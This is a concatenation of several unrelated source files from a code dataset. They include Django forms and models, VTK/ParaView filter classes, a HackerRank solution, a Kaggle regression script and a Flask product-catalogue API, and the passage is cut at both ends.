('Fidelity Bank Nigeria', 'Fidelity Bank Nigeria'),\n ('First Bank of Nigeria', 'First Bank of Nigeria'),\n ('First City Monument Bank', 'First City Monument Bank'),\n ('Guaranty Trust Bank', 'Guaranty Trust Bank'),\n ('Heritage Bank Plc', 'Heritage Bank Plc'),\n ('Jaiz Bank', 'Jaiz Bank'),\n ('Keystone Bank Limited', 'Keystone Bank Limited'),\n ('Providus Bank Plc', 'Providus Bank Plc'),\n ('Polaris Bank', 'Polaris Bank'),\n ('Stanbic IBTC Bank Nigeria Limited', 'Stanbic IBTC Bank Nigeria Limited'),\n ('Standard Bank', 'Standard Bank'),\n ('Standard Chartered Bank', 'Standard Chartered Bank'),\n ('Sterling Bank', 'Sterling Bank'),\n ('Suntrust Bank Nigeria Limited', 'Suntrust Bank Nigeria Limited'),\n ('Union Bank of Nigeria', 'Union Bank of Nigeria'),\n ('United Bank for Africa', 'United Bank for Africa'),\n ('Unity Bank Plc', 'Unity Bank Plc'),\n ('Wema Bank', 'Wema Bank'),\n ('Zenith Bank', 'Zenith Bank')\n)\n\n\nclass AccountForm(forms.ModelForm):\n\n class Meta:\n model = Account\n fields = ('bank_name', 'account_name', 'account_number', )\n\n\nclass ShopperAccountForm(forms.ModelForm):\n\n class Meta:\n model = Account\n fields = ('employer', 'employer_address', 'job_role', 'salary', 'bank_name', 'account_name', 'account_number', )","sub_path":"payment/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"504294567","text":"__all__ = [\n 'ArrayMath',\n 'NormalizeArray',\n 'AddCellConnToPoints',\n 'PointsToTube',\n]\n\nimport vtk\nfrom vtk.util import numpy_support as nps\nimport numpy as np\nfrom vtk.numpy_interface import dataset_adapter as dsa\nfrom datetime import datetime\n# Import Helpers:\nfrom ..base import FilterBase, FilterPreserveTypeBase\nfrom .. import _helpers\n# NOTE: internal import - from scipy.spatial import cKDTree\n\n\n\n###############################################################################\n\n#---- ArrayMath ----#\nclass ArrayMath(FilterPreserveTypeBase):\n \"\"\"This filter allows the user to select two input data arrays on which to perfrom math operations. The input arrays are used in their order of selection for the operations.\n\n **Available Math Operations:**\n\n - `add`: This adds the two data arrays together\n - `subtract`: This subtracts input array 2 from input array 1\n - `multiply`: Multiplies the two data arrays together\n - `divide`: Divide input array 1 by input array 2 (arr1/arr2)\n - `correlate`: Use `np.correlate(arr1, arr2, mode='same')`\n \"\"\"\n __displayname__ = 'Array Math'\n __type__ = 'filter'\n def __init__(self, **kwargs):\n FilterPreserveTypeBase.__init__(self)\n # Parameters:\n self.__multiplier = kwargs.get('multiplier', 1.0)\n self.__newName = kwargs.get('newName', 'Mathed Up')\n self.__inputArray1 = [None, None]\n self.__inputArray2 = [None, None]\n # Convert operation to callable method\n op = kwargs.get('operation', 'add')\n if isinstance(op, (str, int)):\n op = self.GetOperation(op)\n self.__operation = op\n\n\n @staticmethod\n def _correlate(arr1, arr2):\n \"\"\"Use ``np.correlate()`` on ``mode='same'`` on two selected arrays from one input.\n \"\"\"\n return np.correlate(arr1, arr2, mode='same')\n\n @staticmethod\n def _multiply(arr1, arr2):\n return arr1*arr2\n\n @staticmethod\n def _divide(arr1, arr2):\n return arr1/arr2\n\n @staticmethod\n def _add(arr1, arr2):\n return arr1+arr2\n\n @staticmethod\n def _subtract(arr1, arr2):\n return arr1-arr2\n\n @staticmethod\n def GetOperations():\n \"\"\"Returns the math operation methods as callable objects in a dictionary\n \"\"\"\n ops = dict(\n add=ArrayMath._add,\n subtract=ArrayMath._subtract,\n multiply=ArrayMath._multiply,\n divide=ArrayMath._divide,\n correlate=ArrayMath._correlate,\n )\n return ops\n\n @staticmethod\n def GetOperationNames():\n \"\"\"Gets a list of the math operation keys\n\n Return:\n list(str): the keys for getting the math operations\n \"\"\"\n ops = ArrayMath.GetOperations()\n return list(ops.keys())\n\n @staticmethod\n def GetOperation(idx):\n \"\"\"Gets a math operation based on an index in the keys\n\n Return:\n callable: the math operation method\n \"\"\"\n if isinstance(idx, str):\n return ArrayMath.GetOperations()[idx]\n n = ArrayMath.GetOperationNames()[idx]\n return ArrayMath.GetOperations()[n]\n\n\n def _MathUp(self, pdi, pdo):\n \"\"\"Make sure to pass array names and integer associated fields.\n Use helpers to get these properties.\n \"\"\"\n if pdo is None:\n # TODO: test this\n pdo = pdi.DeepCopy()\n # Get the input arrays\n field1, name1 = self.__inputArray1[0], self.__inputArray1[1]\n field2, name2 = self.__inputArray2[0], self.__inputArray2[1]\n wpdi = dsa.WrapDataObject(pdi)\n arr1 = _helpers.getArray(wpdi, field1, name1)\n arr2 = _helpers.getArray(wpdi, field2, name2)\n # Perform Math Operation\n carr = self.__operation(arr1, arr2)\n # Apply the multiplier\n carr *= self.__multiplier\n # Convert to a VTK array\n c = nps.numpy_to_vtk(num_array=carr,deep=True)\n # If no name given for data by user, use operator name\n newName = self.__newName\n if newName == '':\n newName = 'Mathed Up'\n c.SetName(newName)\n # Build output\n pdo.DeepCopy(pdi)\n pdo = _helpers.addArray(pdo, field1, c)\n return pdo\n\n\n #### Algorithm Methods ####\n\n\n def RequestData(self, request, inInfo, outInfo):\n \"\"\"Used by pipeline to perfrom operation and generate output\n \"\"\"\n # Get input/output of Proxy\n pdi = self.GetInputData(inInfo, 0, 0)\n pdo = self.GetOutputData(outInfo, 0)\n # Perfrom task\n self._MathUp(pdi, pdo)\n return 1\n\n\n #### Seters and Geters ####\n\n\n def _SetInputArray1(self, field, name):\n if self.__inputArray1[0] != field:\n self.__inputArray1[0] = field\n self.Modified()\n if self.__inputArray1[1] != name:\n self.__inputArray1[1] = name\n self.Modified()\n\n def _SetInputArray2(self, field, name):\n if self.__inputArray2[0] != field:\n self.__inputArray2[0] = field\n self.Modified()\n if self.__inputArray2[1] != name:\n self.__inputArray2[1] = name\n self.Modified()\n\n def SetInputArrayToProcess(self, idx, port, connection, field, name):\n \"\"\"Used by pipeline/paraview GUI wrappings to set the input arrays\n \"\"\"\n if idx == 0:\n self._SetInputArray1(field, name)\n elif idx == 1:\n self._SetInputArray2(field, name)\n else:\n raise _helpers.PVGeoError('SetInputArrayToProcess() do not know how to handle idx: %d' % idx)\n return 1\n\n def SetMultiplier(self, val):\n \"\"\"This is a static shifter/scale factor across the array after normalization.\n \"\"\"\n if self.__multiplier != val:\n self.__multiplier = val\n self.Modified()\n\n def GetMultiplier(self):\n \"\"\"Return the set multiplier/scalar\n \"\"\"\n return self.__multiplier\n\n def SetNewArrayName(self, name):\n \"\"\"Give the new array a meaningful name.\n \"\"\"\n if self.__newName != name:\n self.__newName = name\n self.Modified()\n\n def GetNewArrayName(self):\n return self.__newName\n\n def SetOperation(self, op):\n \"\"\"Set the math operation to perform\n\n Args:\n op (str, int, or callable): The operation as a string key, int index, or callable method\n\n Note:\n This can accept a callable method to set a custom operation as long as its signature is: ``<callable>(arr1, arr2)``\n \"\"\"\n if isinstance(op, str):\n op = ArrayMath.GetOperations()[op]\n elif isinstance(op, int):\n op = ArrayMath.GetOperation(op)\n if self.__operation != op:\n self.__operation = op\n self.Modified()\n\n\n\n###############################################################################\n\n#---- Normalizations ----#\n\nclass NormalizeArray(FilterPreserveTypeBase):\n \"\"\"This filter allows the user to select an array from the input data set to be normalized. The filter will append another array to that data set for the output. The user can specify how they want to rename the array, can choose a multiplier, and can choose from several types of common normalizations (more functionality added as requested).\n\n **Normalization Types:**\n\n - `feature_scale`: Feature Scale\n - `standard_score`: tandard Score\n - `log10`: Natural Log\n - `natural_log`: Log Base 10\n - `just_multiply`: Only Multiply by Multiplier\n \"\"\"\n __displayname__ = 'Normalize Array'\n __type__ = 'filter'\n def __init__(self, **kwargs):\n FilterPreserveTypeBase.__init__(self)\n # Parameters:\n self.__multiplier = kwargs.get('multiplier', 1.0)\n self.__newName = kwargs.get('newName', 'Normalized')\n self.__absolute = kwargs.get('absolute', False)\n self.__inputArray = [None, None]\n # Convert operation to callable method\n op = kwargs.get('normalization', 'feature_scale')\n if isinstance(op, (str, int)):\n op = self.GetNormalization(op)\n self.__normalization = op\n\n\n #### Array normalization methods ####\n\n\n @staticmethod\n def _passArray(arr):\n return np.array(arr)\n\n @staticmethod\n def _featureScale(arr):\n # TODO: implement ability to use custom range\n # if rng is not None:\n # mi = rng[0]\n # ma = rng[1]\n # else:\n mi = np.min(arr)\n ma = np.max(arr)\n return (arr - mi) / (ma - mi)\n\n @staticmethod\n def _standardScore(arr):\n return (arr - np.mean(arr)) / (np.std(arr))\n\n @staticmethod\n def _log10(arr):\n return np.log10(arr)\n\n @staticmethod\n def _logNat(arr):\n return np.log(arr)\n\n @staticmethod\n def GetNormalizations():\n \"\"\"All Available normalizations\n\n Return:\n dict: dictionary of callable methods for normalizing an array\n \"\"\"\n ops = dict(\n feature_scale=NormalizeArray._featureScale,\n standard_score=NormalizeArray._standardScore,\n log10=NormalizeArray._log10,\n natural_log=NormalizeArray._logNat,\n just_multiply=NormalizeArray._passArray,\n )\n return ops\n\n @staticmethod\n def GetNormalizationNames():\n \"\"\"Gets a list of the normalization keys\n\n Return:\n list(str): the keys for getting the normalizations\n \"\"\"\n ops = NormalizeArray.GetNormalizations()\n return list(ops.keys())\n\n @staticmethod\n def GetNormalization(idx):\n \"\"\"Gets a normalization based on an index in the keys\n\n Return:\n callable: the normalization method\n \"\"\"\n if isinstance(idx, str):\n return NormalizeArray.GetNormalizations()[idx]\n n = NormalizeArray.GetNormalizationNames()[idx]\n return NormalizeArray.GetNormalizations()[n]\n\n @staticmethod\n def GetArrayRange(pdi, field, name):\n \"\"\"Returns a tuple of the range for a ``vtkDataArray`` on a ``vtkDataObject``\n \"\"\"\n wpdi = dsa.WrapDataObject(pdi)\n arr = _helpers.getArray(wpdi, field, name)\n arr = np.array(arr)\n return (np.min(arr), np.max(arr))\n\n\n def _Normalize(self, pdi, pdo):\n \"\"\"Perform normalize on a data array for any given VTK data object.\n \"\"\"\n # Get inout array\n field, name = self.__inputArray[0], self.__inputArray[1]\n #self.__range = NormalizeArray.GetArrayRange(pdi, field, name)\n wpdi = dsa.WrapDataObject(pdi)\n arr = _helpers.getArray(wpdi, field, name)\n arr = np.array(arr, dtype=float)\n # Take absolute value?\n if self.__absolute:\n arr = np.abs(arr)\n # Perform normalization scheme\n arr = self.__normalization(arr)\n # Apply the multiplier\n arr *= self.__multiplier\n # Convert to VTK array\n c = nps.numpy_to_vtk(num_array=arr,deep=True)\n # If no name given for data by user, use operator name\n newName = self.__newName\n if newName == '':\n newName = 'Normalized ' + name\n c.SetName(newName)\n # Build output\n pdo.DeepCopy(pdi)\n pdo = _helpers.addArray(pdo, field, c)\n return pdo\n\n #### Algorithm Methods ####\n\n\n def RequestData(self, request, inInfo, outInfo):\n \"\"\"Used by pipeline to generate output\n \"\"\"\n # Get input/output of Proxy\n pdi = self.GetInputData(inInfo, 0, 0)\n pdo = self.GetOutputData(outInfo, 0)\n # Perfrom task\n self._Normalize(pdi, pdo)\n return 1\n\n #### Seters and Geters ####\n\n\n def SetInputArrayToProcess(self, idx, port, connection, field, name):\n \"\"\"Used by pipeline/paraview GUI wrappings to set the input arrays\n \"\"\"\n if self.__inputArray[0] != field:\n self.__inputArray[0] = field\n self.Modified()\n if self.__inputArray[1] != name:\n self.__inputArray[1] = name\n self.Modified()\n return 1\n\n def SetMultiplier(self, val):\n \"\"\"This is a static shifter/scale factor across the array after normalization.\n \"\"\"\n if self.__multiplier != val:\n self.__multiplier = val\n self.Modified()\n\n\n def GetMultiplier(self):\n \"\"\"Return the set multiplier/scalar\n \"\"\"\n return self.__multiplier\n\n\n def SetNewArrayName(self, name):\n \"\"\"Give the new array a meaningful name.\n \"\"\"\n if self.__newName != name:\n self.__newName = name\n self.Modified()\n\n\n def GetNewArrayName(self):\n return self.__newName\n\n def SetTakeAbsoluteValue(self, flag):\n \"\"\"This will take the absolute value of the array before normalization.\n \"\"\"\n if self.__absolute != flag:\n self.__absolute = flag\n self.Modified()\n\n def SetNormalization(self, norm):\n \"\"\"Set the normalization operation to perform\n\n Args:\n norm (str, int, or callable): The operation as a string key, int index, or callable method\n\n Note:\n This can accept a callable method to set a custom operation as long as its signature is: ``<callable>(arr)``\n \"\"\"\n if isinstance(norm, str):\n norm = NormalizeArray.GetNormalizations()[norm]\n elif isinstance(norm, int):\n norm = NormalizeArray.GetNormalization(norm)\n if self.__normalization != norm:\n self.__normalization = norm\n self.Modified()\n\n\n\n###############################################################################\n#---- Cell Connectivity ----#\n\nclass AddCellConnToPoints(FilterBase):\n \"\"\"This filter will add linear cell connectivity between scattered points. You have the option to add ``VTK_Line`` or ``VTK_PolyLine`` connectivity. ``VTK_Line`` connectivity makes a straight line between the points in order (either in the order by index or using a nearest neighbor calculation). The ``VTK_PolyLine`` adds a poly line connectivity between all points as one spline (either in the order by index or using a nearest neighbor calculation). Type map is specified in `vtkCellType.h`.\n\n **Cell Connectivity Types:**\n\n - 4: Poly Line\n - 3: Line\n \"\"\"\n __displayname__ = 'Add Cell Connectivity to Points'\n __type__ = 'filter'\n def __init__(self, **kwargs):\n FilterBase.__init__(self,\n nInputPorts=1, inputType='vtkPolyData',\n nOutputPorts=1, outputType='vtkPolyData')\n # Parameters\n self.__cellType = vtk.VTK_POLY_LINE\n self.__usenbr = kwargs.get('nearestNbr', False)\n\n\n def _ConnectCells(self, pdi, pdo, logTime=False):\n \"\"\"Internal helper to perfrom the connection\n \"\"\"\n # NOTE: Type map is specified in vtkCellType.h\n cellType = self.__cellType\n nrNbr = self.__usenbr\n\n if logTime:\n startTime = datetime.now()\n\n # Get the Points over the NumPy interface\n wpdi = dsa.WrapDataObject(pdi) # NumPy wrapped input\n points = np.array(wpdi.Points) # New NumPy array of poins so we dont destroy input\n\n def _makePolyCell(ptsi):\n cell = vtk.vtkPolyLine()\n cell.GetPointIds().SetNumberOfIds(len(ptsi))\n for i in ptsi:\n cell.GetPointIds().SetId(i, ptsi[i])\n return cell\n\n def _makeLineCell(ptsi):\n if len(ptsi) != 2:\n raise _helpers.PVGeoError('_makeLineCell() only handles two points')\n aLine = vtk.vtkLine()\n aLine.GetPointIds().SetId(0, ptsi[0])\n aLine.GetPointIds().SetId(1, ptsi[1])\n return aLine\n\n\n cells = vtk.vtkCellArray()\n numPoints = pdi.GetNumberOfPoints()\n if nrNbr:\n from scipy.spatial import cKDTree\n # VTK_Line\n if cellType == vtk.VTK_LINE:\n tree = cKDTree(points)\n ind = tree.query([0.0,0.0,0.0], k=numPoints)[1]\n for i in range(len(ind)-1):\n # Get indices of k nearest points\n ptsi = [ind[i], ind[i+1]]\n cell = _makeLineCell(ptsi)\n cells.InsertNextCell(cell)\n points = np.delete(points, 0, 0) # Deletes first row\n # VTK_PolyLine\n elif cellType == vtk.VTK_POLY_LINE:\n tree = cKDTree(points)\n dist, ptsi = tree.query([0.0,0.0,0.0], k=numPoints)\n cell = _makePolyCell(ptsi)\n cells.InsertNextCell(cell)\n else:\n raise _helpers.PVGeoError('Cell Type %d not ye implemented.' % cellType)\n else:\n # VTK_PolyLine\n if cellType == vtk.VTK_POLY_LINE:\n ptsi = [i for i in range(numPoints)]\n cell = _makePolyCell(ptsi)\n cells.InsertNextCell(cell)\n # VTK_Line\n elif cellType == vtk.VTK_LINE:\n for i in range(0, numPoints-1):\n ptsi = [i, i+1]\n cell = _makeLineCell(ptsi)\n cells.InsertNextCell(cell)\n else:\n raise _helpers.PVGeoError('Cell Type %d not ye implemented.' % cellType)\n\n if logTime:\n print((datetime.now() - startTime))\n # Now add points and cells to output\n pdo.SetPoints(pdi.GetPoints())\n pdo.SetLines(cells)\n # copy point data\n _helpers.copyArraysToPointData(pdi, pdo, 0) # 0 is point data\n return pdo\n\n def RequestData(self, request, inInfo, outInfo):\n \"\"\"Used by pipeline to generate output data object\n \"\"\"\n # Get input/output of Proxy\n pdi = self.GetInputData(inInfo, 0, 0)\n pdo = self.GetOutputData(outInfo, 0)\n # Perfrom task\n self._ConnectCells(pdi, pdo)\n return 1\n\n\n #### Seters and Geters ####\n\n\n def SetCellType(self, cellType):\n \"\"\"Set the cell typ by the integer id as specified in `vtkCellType.h`\n \"\"\"\n if cellType != self.__cellType:\n self.__cellType = cellType\n self.Modified()\n\n def SetUseNearestNbr(self, flag):\n \"\"\"Set a flag on whether to use SciPy's ``cKDTree`` nearest neighbor algorithms to sort the points to before adding linear connectivity.\n \"\"\"\n if flag != self.__usenbr:\n self.__usenbr = flag\n self.Modified()\n\n\n\n\n###############################################################################\n\n\nclass PointsToTube(AddCellConnToPoints):\n \"\"\"Takes points from a vtkPolyData object and constructs a line of those points then builds a polygonal tube around that line with some specified radius and number of sides.\n \"\"\"\n __displayname__ = 'Points to Tube'\n __type__ = 'filter'\n def __init__(self, **kwargs):\n AddCellConnToPoints.__init__(self, **kwargs)\n # Additional Parameters\n # NOTE: CellType should remain vtk.VTK_POLY_LINE (4) connection\n self.__numSides = 20\n self.__radius = 10.0\n\n\n def _ConnectCells(self, pdi, pdo, logTime=False):\n \"\"\"This uses the parent's ``_ConnectCells()`` to build a tub around\n \"\"\"\n AddCellConnToPoints._ConnectCells(self, pdi, pdo, logTime=logTime)\n tube = vtk.vtkTubeFilter()\n tube.SetInputData(pdo)\n tube.SetRadius(self.__radius)\n tube.SetNumberOfSides(self.__numSides)\n tube.Update()\n pdo.ShallowCopy(tube.GetOutput())\n return pdo\n\n\n #### Seters and Geters ####\n\n def SetRadius(self, radius):\n \"\"\"Set the radius of the tube\n \"\"\"\n if self.__radius != radius:\n self.__radius = radius\n self.Modified()\n\n def SetNumberOfSides(self, num):\n \"\"\"Set the number of sides (resolution) for the tube\n \"\"\"\n if self.__numSides != num:\n self.__numSides = num\n self.Modified()\n\n\n\n###############################################################################\n","sub_path":"PVGeo/filters_general/poly.py","file_name":"poly.py","file_ext":"py","file_size_in_byte":20123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"365832403","text":"__author__ = \"Alejo Herrera\"\nimport random\n# Busqueda de mayor\n\n# Realizar un programa que permita buscar el mayor de 10.000 números aleatorios generados en el rango de [0, 100.000].\n\n#Declarar variables\nnum = 0\nprimero = 0\nsegundo = 0\ncont = 1\n\n#Estructura repetitiva\nwhile cont <= 10000:\n num = random.randint(0, 100.000)\n primero = num\n mayor = max(primero,segundo)\n segundo = primero\n cont += 1\n\nprint(\"El mayor de los numeros tomados es: \",mayor)","sub_path":"Guía de Ejercicios Practicos/Guia de Ejercicios Prácticos-Ficha 06/Ej4.py","file_name":"Ej4.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"246402823","text":"import numpy\nimport pandas\nfrom sklearn.linear_model import LinearRegression\n\ntrain_dataset = pandas.read_csv('../input/train_V2.csv')\ntest_dataset = pandas.read_csv('../input/test_V2.csv')\n\ntrain_dataset.drop([\"matchType\", \"rankPoints\"], axis=1, inplace=True)\ntrain_dataset.dropna(inplace=True)\n\nX = train_dataset.drop(\n [\n \"Id\",\n \"groupId\",\n \"matchId\",\n \"winPlacePerc\",\n \"damageDealt\",\n \"kills\",\n \"maxPlace\",\n \"matchDuration\"\n ],\n axis=1\n)\ny = train_dataset[\"winPlacePerc\"]\n\nlinerReg = LinearRegression()\nlinerReg.fit(X, y)\n\ntest_ids = test_dataset[\"Id\"]\n\ntest_dataset.drop(\n [\n \"Id\",\n \"groupId\", \n \"matchId\",\n \"damageDealt\",\n \"kills\",\n \"maxPlace\",\n \"matchDuration\",\n \"matchType\",\n \"rankPoints\"\n ],\n axis=1,\n inplace=True\n)\n\npred = linerReg.predict(test_dataset)\n\nresult = pandas.DataFrame({ \n 'Id': test_ids,\n 'winPlacePerc': pred.astype(numpy.float64)\n})\n\nresult.to_csv(\"sample_submission_V2.csv\", index=False)\n","sub_path":"linear-regression.py","file_name":"linear-regression.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"107365386","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\n\nclass EspModule(models.Model):\n \n user = models.ForeignKey( User, \n \t on_delete=models.CASCADE ,\n \t verbose_name=\"User\")\n\n name = models.CharField( max_length=100 , \n \t verbose_name=\"Module name\")\n \n key = models.CharField( max_length=100,\n \t\t\t\t\t\tunique=True,\n \t verbose_name=\"Unique key\")\n\n class Meta:\n verbose_name = \"Esp - Module\"\n verbose_name_plural = \"Esp - Modules\"\n\n def save(self, **kwargs):\n super(EspModule, self).save(**kwargs)\n for i in range(10):\n data = EspData(module=self)\n data.save()\n\n def __str__(self):\n return self.name\n\n\nclass EspData(models.Model):\n \n time = models.TimeField( auto_now_add=True ,\n \t verbose_name=\"Time\",\n \t null=True, \n blank=True,)\n\n date = models.DateField( auto_now_add=True ,\n \t verbose_name=\"Date\",\n \t null=True, \n blank=True,)\n\n temp = models.CharField( max_length=100 ,\n \t verbose_name=\"Temperature\", \n \t default=\"0\")\n\n humd = models.CharField( max_length=100 ,\n \t verbose_name=\"Humidity\" ,\n \t default=\"0\")\n\n module = models.ForeignKey( EspModule,on_delete=models.CASCADE , \n \t\t\t\t\t\t\trelated_name='data' ,\n \t verbose_name=\"Module\")\n\n class Meta:\n verbose_name = \"Data Module\"\n verbose_name_plural = \"Data modules\"","sub_path":"esp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"218624548","text":"# https://www.hackerrank.com/challenges/between-two-sets/problem?isFullScreen=true\r\n\r\n# Input Format\r\n\r\n# The first line contains two space-separated integers, n and m, the number of elements in array a and the number of elements in array b.\r\n# The second line contains n distinct space-separated integers describing a[i] where 0 <= i < n.\r\n# The third line m contains distinct space-separated integers describing b[j] where 0 <= i < m.\r\n\r\n# Constraints\r\n# 1 <= n,m <= 10\r\n# 1 <= a[i] <= 100\r\n# 1 <= b[j] <= 100\r\n\r\n# Output Format\r\n# Print the number of integers that are considered to be between a and b.\r\n\r\n# Sample Input\r\n# 2 3\r\n# 2 4\r\n# 16 32 96\r\n\r\n# Sample Output\r\n# 3\r\n\r\n# Explanation\r\n# 2 and 4 divide evenly into 4, 8, 12 and 16.\r\n# 4, 8 and 16 divide evenly into 16, 32, 96.\r\n# 4, 8 and 16 are the only three numbers for which each element of a is a factor and each is a factor of all elements of b. \r\n\r\n\r\n#!/bin/python3\r\n\r\nimport math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\n#\r\n# Complete the 'getTotalX' function below.\r\n#\r\n# The function is expected to return an INTEGER.\r\n# The function accepts following parameters:\r\n# 1. INTEGER_ARRAY a\r\n# 2. INTEGER_ARRAY b\r\n#\r\n\r\ndef getTotalX(a, b):\r\n # Write your code here\r\n\r\n # Find between values of a and b that can be divided by a\r\n betweenValues = []\r\n for _ in range(max(a), min(b)+1):\r\n if all([_ % i == 0 for i in a]):\r\n betweenValues.append(_)\r\n print(betweenValues)\r\n \r\n # Find between values that can divide b\r\n divideB = []\r\n for _ in betweenValues:\r\n if all([j % _ == 0 for j in b]):\r\n divideB.append(_)\r\n \r\n return len(divideB)\r\n\r\n\r\nif __name__ == '__main__':\r\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\r\n\r\n first_multiple_input = input().rstrip().split()\r\n\r\n n = int(first_multiple_input[0])\r\n\r\n m = int(first_multiple_input[1])\r\n\r\n arr = list(map(int, input().rstrip().split()))\r\n\r\n brr = list(map(int, input().rstrip().split()))\r\n\r\n total = getTotalX(arr, brr)\r\n\r\n fptr.write(str(total) + '\\n')\r\n\r\n fptr.close()\r\n","sub_path":"0_reference/Hackerrank/Practice Problem Solving/Implementation/Between Two Sets.py","file_name":"Between Two Sets.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"422054941","text":"category_for_select = {\n 'Горный велосипед': 'mtb',\n # 'Шоссейный велосипед': 'road'\n}\n\nmtb = {\n 'Тормоза': 'mtb_brakes',\n 'Вилки': 'mtb_forks',\n 'Колеса': 'mtb_wheels',\n 'Задние переключатели': 'mtb_rear_derailleurs'\n}\n\nmtb_brakes = {\n 'Дисковые тормоза': 'mtb_disc_brakes',\n 'Колодки для диск. торм.': 'mtb_disc_brake_pads',\n 'Ободные тормоза': 'mtb_rim_brakes',\n 'Колодки для обод. торм.': 'mtb_rim_brake_pads',\n}\n\nmtb_forks = {\n '26 дюймов': 'mtb_26_forks',\n '27,5 дюймов': 'mtb_27_forks',\n '29 дюймов': 'mtb_29_forks'\n}\n\nmtb_wheels = {\n '26 дюймов': 'mtb_26_wheels',\n '27,5 дюймов': 'mtb_27_wheels',\n '29 дюймов': 'mtb_29_wheels'\n}\n\nmtb_rear_derailleurs = {\n '9 скоростей': 'mtb_9_speed',\n '10 скоростей': 'mtb_10_speed',\n '11 скоростей': 'mtb_11_speed',\n '12 скоростей': 'mtb_12_speed'\n}\n\n\ncategories_with_siblings = {\n 'mtb': mtb,\n 'mtb_brakes': mtb_brakes,\n 'mtb_forks': mtb_forks,\n 'mtb_wheels': mtb_wheels,\n 'mtb_rear_derailleurs': mtb_rear_derailleurs\n}\n","sub_path":"static_data/categories.py","file_name":"categories.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"395384428","text":"from werkzeug.datastructures import MultiDict\n\nfrom flask import request, g\n\nfrom app import db\nfrom app.utils import jsonify_pagination, paginate\nfrom app.http_response import http_200, http_201\nfrom app.decorators import require_admin\nfrom app.errors import form_errors, field_errors, multiple_fields_errors\n\n\nfrom . import forms as f\nfrom . import catalogue_bp\nfrom .models import Category, get_products_query, Product, ProductVariation\n\n\n@catalogue_bp.route('/categories', methods=['GET'])\ndef list_categories():\n categories_query = Category.query\n if request.args.get('name'):\n categories_query = categories_query.filter_by(name=request.args.get('name'))\n return jsonify_pagination(paginate(categories_query))\n\n\n@catalogue_bp.route('/categories', methods=['POST'])\n@require_admin\ndef add_category():\n form = f.CategoryForm(MultiDict(request.get_json()))\n if form.validate():\n category = Category(**form.data)\n db.session.add(category)\n db.session.commit()\n\n return http_201(category.to_json())\n\n return form_errors(form)\n\n\n@catalogue_bp.route('/categories/<category_name>', methods=['GET'])\ndef category_detail(category_name):\n category = Category.query.filter_by(name=category_name).first_or_404()\n return http_200(category.to_json())\n\n\n@catalogue_bp.route('/categories/<category_name>', methods=['PUT'])\n@require_admin\ndef update_category(category_name):\n category = Category.query.filter_by(name=category_name).first_or_404()\n form = f.CategoryUpdateForm(MultiDict(request.get_json()), category)\n if form.validate():\n if not form.name_is_duplicate(form.name.data, category):\n category.name = form.name.data\n category.description = form.description.data\n db.session.add(category)\n db.session.commit()\n return http_201(category.to_json())\n return field_errors('name', 'Name is duplicate')\n\n return form_errors(form)\n\n\n@catalogue_bp.route('/categories/<category_name>', methods=['DELETE'])\n@require_admin\ndef delete_category(category_name):\n category = Category.query.filter_by(name=category_name).first_or_404()\n db.session.delete(category)\n db.session.commit()\n return http_201({'message': 'Category deleted successfully'})\n\n\n@catalogue_bp.route('/products', methods=['GET'])\ndef list_products():\n return jsonify_pagination(paginate(get_products_query()), staff_mode=g.user.is_staff_like)\n\n\n@catalogue_bp.route('/products/<product_name>', methods=['GET'])\ndef product_details(product_name):\n product = get_products_query().filter_by(name=product_name).first_or_404()\n return http_200(product.to_json(staff_mode=g.user.is_staff_like))\n\n\n@catalogue_bp.route('/products', methods=['POST'])\n@require_admin\ndef add_product():\n form = f.ProductForm(MultiDict(request.get_json()))\n if form.validate():\n product = Product(**form.data)\n db.session.add(product)\n db.session.commit()\n return http_201(product.to_json(staff_mode=True))\n\n return form_errors(form)\n\n\n@catalogue_bp.route('/products/<product_name>', methods=['PUT'])\n@require_admin\ndef update_product(product_name):\n product = Product.query.filter_by(name=product_name).first_or_404()\n form = f.ProductUpdateForm(MultiDict(request.get_json()), product)\n if form.validate():\n duplicate_errors = {}\n if form.name_is_duplicate(form.name.data, product):\n duplicate_errors['name'] = ['Another product has this name', ]\n if form.tag_is_duplicate(form.tag.data, product):\n duplicate_errors['tag'] = ['Another product has this tag', ]\n\n if duplicate_errors:\n return multiple_fields_errors(duplicate_errors)\n\n form.populate_obj(product)\n\n db.session.add(product)\n db.session.commit()\n\n return http_201(product.to_json(staff_mode=True))\n\n return form_errors(form)\n\n\n@catalogue_bp.route('/products/<product_name>/categories', methods=['POST'])\n@require_admin\ndef add_product_category(product_name):\n product = Product.query.filter_by(name=product_name).first_or_404()\n form = f.CategoryNameForm(MultiDict(request.get_json()))\n\n if form.validate():\n if not product.categories.filter_by(id=form.category.id).first():\n product.categories.append(form.category)\n db.session.add(product)\n db.session.commit()\n\n return http_201({'product_name': product.name,\n 'category_name': form.category.name})\n\n return form_errors(form)\n\n\n@catalogue_bp.route('/products/<product_name>/categories', methods=['PUT'])\n@require_admin\ndef remove_product_category(product_name):\n product = Product.query.filter_by(name=product_name).first_or_404()\n form = f.CategoryNameForm(MultiDict(request.get_json()))\n\n if form.validate():\n if product.categories.filter_by(id=form.category.id).first():\n product.categories.remove(form.category)\n db.session.add(product)\n db.session.commit()\n\n return http_201({'message': 'Category removed from product'})\n\n return form_errors(form)\n\n\n@catalogue_bp.route('/products/<product_name>/variations', methods=['GET'])\ndef list_product_variations(product_name):\n product = get_products_query().filter_by(name=product_name).first_or_404()\n return http_200({'product_name': product.name,\n 'variations': product.variations_json})\n\n\n@catalogue_bp.route('/products/<product_name>/variations', 